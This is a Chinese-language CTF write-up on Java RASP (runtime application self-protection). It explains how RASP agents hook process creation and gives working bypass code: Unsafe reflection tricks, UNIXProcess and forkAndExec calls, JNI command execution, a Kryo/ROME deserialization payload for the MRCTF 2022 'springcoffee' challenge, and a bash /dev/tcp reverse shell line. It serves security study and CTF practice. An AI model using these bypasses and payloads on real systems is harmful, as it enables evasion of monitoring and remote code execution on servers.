从一道题初接触RASP
字数 1411 2025-08-05 12:50:40

RASP技术深入解析与绕过方法

前言

本文将从JDK反射限制开始,深入探讨RASP(Runtime Application Self-Protection)技术原理及其绕过方法,并结合实际CTF题目进行分析。

JDK反射限制与绕过

JDK17反射限制

从JDK9到JDK16,反射访问Java.*包下的非公共字段和方法会收到警告,但在JDK17后采用强封装,默认禁止此类反射操作,会抛出InaccessibleObjectException异常。

反射绕过方法

1. JDK11之前的Unsafe绕过

Field theUafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUafeField.get(null);
Class<?> c2 = unsafe.defineClass("attack", decode, 0, decode.length, classLoader, null);
c2.newInstance();

2. JDK11的defineAnonymousClass绕过

Class<?> c2 = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), decode, null);
c2.newInstance();

3. JDK17的Unsafe Module绕过

Class<?> unSafe = Class.forName("sun.misc.Unsafe");
Field unSafeField = unSafe.getDeclaredField("theUnsafe");
unSafeField.setAccessible(true);
Unsafe unSafeClass = (Unsafe) unSafeField.get(null);

Module baseModule = Object.class.getModule();
Class<?> currentClass = Test.class;
long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass, addr, baseModule); // 更改当前运行类的Module

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> calc = (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", decode, 0, decode.length);
calc.newInstance();

RASP技术原理

RASP(Runtime Application Self-Protection)是一种应用程序自我保护技术,通过将防护功能注入到应用程序中,通过少量Hook函数监测程序运行,根据上下文实时阻断攻击。

Java RASP主要通过Instrumentation编写Agent实现,在Agent的premainagentmain方法中加入检测类(通常继承ClassFileTransformer),监控敏感类如ProcessImpl等。

Instrumentation API核心

  • ClassFileTransformer: 允许在类加载前或重新定义时转换字节码
  • Instrumentation: 提供启动时代理和重新定义类的能力

Agent启动方式

  1. premain: JVM启动时,在被代理应用加载前运行
  2. agentmain: JVM已启动后动态加载Agent

典型RASP实现示例

public class RaspTransformer implements ClassFileTransformer {
    private Instrumentation inst;
    private static String targetClassName = "java.lang.ProcessImpl";
    private static String targetMethodName = "start";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, 
                          ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        if (className.replace("/", ".").equals(targetClassName)) {
            // 字节码转换逻辑
            CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
            CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
            ctMethod.insertBefore("return null;"); // 插入防护代码
            return ctClass.toBytecode();
        }
        return classfileBuffer;
    }

    public void retransform() {
        Class<?>[] loadedClasses = this.inst.getAllLoadedClasses();
        for (Class<?> clazz : loadedClasses) {
            if (clazz.getName().equals(targetClassName)) {
                this.inst.retransformClasses(new Class[]{clazz});
            }
        }
    }
}

RASP绕过技术

1. UNIXProcess绕过

当RASP拦截ProcessImpl.start()时,可使用UNIXProcess绕过:

Class<?> cls = Class.forName("java.lang.UNIXProcess");
Constructor<?> constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);

String[] command = {"/bin/sh", "-c", cmd};
byte[] prog = toCString(command[0]);
byte[] argBlock = getArgBlock(command);
int[] fds = {-1, -1, -1};

Object obj = constructor.newInstance(prog, argBlock, argBlock.length, null, 0, null, fds, false);
Method method = cls.getDeclaredMethod("getInputStream");
InputStream is = (InputStream) method.invoke(obj);

2. Unsafe+forkAndExec绕过

直接调用底层forkAndExec方法:

Class processClass = Class.forName("java.lang.UNIXProcess");
Object processObject = unsafe.allocateInstance(processClass);

Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, 
                   byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
int pid = (int) forkMethod.invoke(processObject, ordinal+1, helperpathObject, toCString(cmd[0]), 
                   argBlock, args.length, null, envc[0], null, std_fds, false);

3. JNI绕过

通过JNI加载本地库执行命令:

  1. 创建Java类:
public class Command {
    public native String exec(String cmd);
}
  1. 生成C头文件:
javac -h . Command.java
  1. 实现C函数:
JNIEXPORT jstring JNICALL Java_Command_exec(JNIEnv *env, jobject obj, jstring jstr) {
    const char *cmd = (*env)->GetStringUTFChars(env, jstr, NULL);
    FILE *pipe = popen(cmd, "r");
    // 读取命令输出并返回
}
  1. 编译为动态库并加载:
System.loadLibrary("command");
new Command().exec("calc");

CTF实战分析:[MRCTF 2022] springcoffee

题目分析

  • 启动方式: java -javaagent:jrasp.jar,存在RASP防护
  • 关键路由:
    • /coffer/order: 接收Base64编码的Kryo反序列化数据
    • /coffee/demo: 可配置Kryo反序列化策略

利用链构造

  1. 首先通过/coffee/demo设置Kryo配置:
{
  "polish": "true",
  "RegistrationRequired": "false", 
  "InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"
}
  1. 构造Kryo反序列化链(以ROME链为例):
TemplatesImpl templates = new TemplatesImpl();
// 设置恶意字节码
EqualsBean equalsBean = new EqualsBean(String.class, "111");
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "aaa");

// 设置链式调用
setFieldValue(equalsBean, "_beanClass", ToStringBean.class);
setFieldValue(equalsBean, "_obj", new ToStringBean(Templates.class, templates));

// 序列化并Base64编码
Kryo kryo = new Kryo();
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
Output output = new Output(outputStream);
kryo.writeClassAndObject(output, hashMap);
String base64Payload = Base64.getEncoder().encodeToString(outputStream.toByteArray());
  1. 通过UNIXProcess绕过RASP执行命令:
Class<?> cls = Class.forName("java.lang.UNIXProcess");
Constructor<?> constructor = cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
String[] command = {"/bin/sh", "-c", "bash -i >& /dev/tcp/your_ip/port 0>&1"};
// ... 构造UNIXProcess参数并实例化

总结

  1. JDK反射绕过:

    • JDK17可通过Unsafe修改Module绕过反射限制
    • 利用sun.misc包的特殊权限
  2. RASP绕过核心思路:

    • 寻找更底层的方法调用(如UNIXProcess代替ProcessImpl)
    • 直接调用native方法(forkAndExec)
    • 使用JNI完全绕过Java层监控
  3. 防御建议:

    • RASP应监控所有命令执行相关类和方法
    • 结合行为分析而不仅是静态规则
    • 对JNI调用进行严格管控
  4. CTF技巧:

    • 分析题目附件确定防护方式
    • 利用题目提供的配置接口修改运行时行为
    • 组合多种绕过技术应对复杂防护
RASP技术深入解析与绕过方法 前言 本文将从JDK反射限制开始,深入探讨RASP(Runtime Application Self-Protection)技术原理及其绕过方法,并结合实际CTF题目进行分析。 JDK反射限制与绕过 JDK17反射限制 从JDK9到JDK16,反射访问Java.* 包下的非公共字段和方法会收到警告,但在JDK17后采用强封装,默认禁止此类反射操作,会抛出 InaccessibleObjectException 异常。 反射绕过方法 1. JDK11之前的Unsafe绕过 2. JDK11的defineAnonymousClass绕过 3. JDK17的Unsafe Module绕过 RASP技术原理 RASP(Runtime Application Self-Protection)是一种应用程序自我保护技术,通过将防护功能注入到应用程序中,通过少量Hook函数监测程序运行,根据上下文实时阻断攻击。 Java RASP主要通过 Instrumentation 编写Agent实现,在Agent的 premain 和 agentmain 方法中加入检测类(通常继承 ClassFileTransformer ),监控敏感类如 ProcessImpl 等。 Instrumentation API核心 ClassFileTransformer : 允许在类加载前或重新定义时转换字节码 Instrumentation : 提供启动时代理和重新定义类的能力 Agent启动方式 premain : JVM启动时,在被代理应用加载前运行 agentmain : JVM已启动后动态加载Agent 典型RASP实现示例 RASP绕过技术 1. UNIXProcess绕过 当RASP拦截 ProcessImpl.start() 时,可使用 UNIXProcess 绕过: 2. Unsafe+forkAndExec绕过 直接调用底层 forkAndExec 方法: 3. JNI绕过 通过JNI加载本地库执行命令: 创建Java类: 生成C头文件: 实现C函数: 编译为动态库并加载: CTF实战分析:[ MRCTF 2022 ] springcoffee 题目分析 启动方式: java -javaagent:jrasp.jar ,存在RASP防护 关键路由: /coffer/order : 接收Base64编码的Kryo反序列化数据 /coffee/demo : 可配置Kryo反序列化策略 利用链构造 首先通过 /coffee/demo 设置Kryo配置: 构造Kryo反序列化链(以ROME链为例): 通过UNIXProcess绕过RASP执行命令: 总结 JDK反射绕过 : JDK17可通过Unsafe修改Module绕过反射限制 利用sun.misc包的特殊权限 RASP绕过核心思路 : 寻找更底层的方法调用(如UNIXProcess代替ProcessImpl) 直接调用native方法(forkAndExec) 使用JNI完全绕过Java层监控 防御建议 : RASP应监控所有命令执行相关类和方法 结合行为分析而不仅是静态规则 对JNI调用进行严格管控 CTF技巧 : 分析题目附件确定防护方式 利用题目提供的配置接口修改运行时行为 组合多种绕过技术应对复杂防护